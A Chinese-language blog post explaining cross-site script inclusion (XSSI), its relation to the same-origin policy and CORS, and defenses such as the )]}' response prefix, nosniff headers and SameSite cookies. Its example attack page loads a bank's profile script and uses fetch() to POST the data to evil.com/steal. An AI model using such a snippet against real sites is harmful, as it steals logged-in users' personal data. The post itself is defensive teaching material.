前段时间, 在爬Google Material Symbol的搜索接口的时候, 无意间发现这个文件: https://fonts.google.com/metadata/icons?key=material_symbols&incomplete=true 的返回中有非常奇怪的前缀 (试试看↗), 随即便开始了针对这个现象的探索...

XSSI 是什么?

XSSI 全称 Cross-Site Script Inclusion(跨站脚本包含)。

一句话:攻击者在自己的网页里,用 <script src> 引用你网站的接口,借用户的登录态把数据偷走。

假设你的站点有个接口 https://bank.com/api/profile.js,返回:

var profile = { name: "John Doe Doe", phone: "138xxxx", balance: 9999 };

攻击者做一个页面,诱导已登录的用户访问:

<script src="https://bank.com/api/profile.js"></script>
<script>
  // 脚本执行完,全局变量 profile 就在攻击者的页面里了
  fetch("https://evil.com/steal", { method: "POST", body: JSON.stringify(profile) });
</script>

浏览器加载 <script> 时会自动带上 bank.com 的 Cookie,服务器以为是用户本人在请求,于是乖乖返回数据。数据被当成 JS 执行,变量落到了攻击者页面的全局作用域里,攻击者就"读"到了本来读不到的东西。

常见的中招场景:

  • JSONP 接口(本来就是设计成给别的站点 <script> 引用的)
  • 把数据直接赋值给全局变量的动态 JS
  • 返回内容里带用户敏感信息的 .js 文件(比如配置、token)

它和 CORS 有什么关系?

要理解这个,先得聊聊同源策略和 CORS。

同源策略(SOP)

浏览器有个基本规矩:协议、域名、端口,三者都相同才算"同源"。不同源的页面,不能读取对方的响应内容。

注意,限制的是"读",不是"发"。请求其实照样发出去了,只是你的 JS 拿不到结果。

CORS 是什么

CORS(跨域资源共享)是服务器主动给同源策略开的口子。服务器在响应头里声明"我允许谁来读":

Access-Control-Allow-Origin: https://my-frontend.com
Access-Control-Allow-Credentials: true

浏览器看到这个头,才放行 fetch / XMLHttpRequest 对响应的读取。补充几个入门必知的点:

  • 带 Cookie 的请求,Allow-Origin 不能写 *,必须是具体域名
  • "非简单请求"(比如带自定义头、PUT/DELETE)会先发一个 OPTIONS 预检请求,问服务器"我能这么请求吗"

为什么 <script> 能跨域,别的不行?

先纠正一个常见说法:并不是"JS 能跨域,别的不行",准确说是:

通过标签"嵌入"资源,一直是被允许的;通过 fetch/XHR "读取"跨域响应,默认是被禁止的。

<script>、<img>、<link rel="stylesheet"> 这些标签能跨域加载,是历史包袱:Web 早期大家就习惯从 CDN 引 jQuery、引图片,浏览器不能突然把它们禁掉。

但这里有个关键区别:

  • <img> 加载了别人的图片,你的 JS 读不到像素内容,只是显示出来
  • <script> 加载的内容会被执行,执行结果直接进入你的页面环境,相当于间接读到了数据

所以 XSSI 正好落在 CORS 的盲区:CORS 只管 fetch/XHR,管不到 <script src>。你把 CORS 配得再严,攻击者照样能用 script 标签发请求。

防御:XSSI Protection Prefix

最经典的一招:在 JSON 响应前面加一段"毒药前缀",让它作为脚本执行时必然失败。

常见前缀

来源 前缀 作用
Google(很多 API) )]}' 不是合法 JS,直接语法错误
Angular 官方推荐 )]}',\n 同上,前端 HttpClient 会自动剥掉
Facebook for (;;); 让脚本陷入死循环,后面的数据永远执行不到
Google(早期) while(1); 同样是死循环

原理

服务器返回:

)]}'
{"name":"John Doe","balance":9999}

攻击者用 <script> 加载时: 浏览器把它当 JS 解析,第一行就语法错误(或者卡进死循环),数据根本没机会暴露。

你自己的前端用 fetch 读取时: 因为是同源(或者配了 CORS),可以拿到原始文本,先把前缀去掉,再解析:

const text = await (await fetch("/api/profile")).text();
const data = JSON.parse(text.replace(/^\)\]\}',?\n/, ""));

核心思路就是:合法调用方能"读文本",攻击者只能"执行脚本",我们让文本在执行时必崩,读取时可还原。

别只靠前缀,还有这些手段

  • 接口返回正确的 Content-Type: application/json,并加上 X-Content-Type-Options: nosniff
  • 别再用 JSONP 了,需要跨域就老老实实配 CORS
  • 敏感接口用 POST + CSRF Token,<script> 标签只能发 GET
  • Cookie 设置 SameSite=Lax/Strict:现代浏览器默认就是 Lax,跨站的 <script> 请求不会带 Cookie,这已经挡掉了大部分 XSSI
  • 别把敏感数据塞进动态 .js 文件里

标签:无

你的评论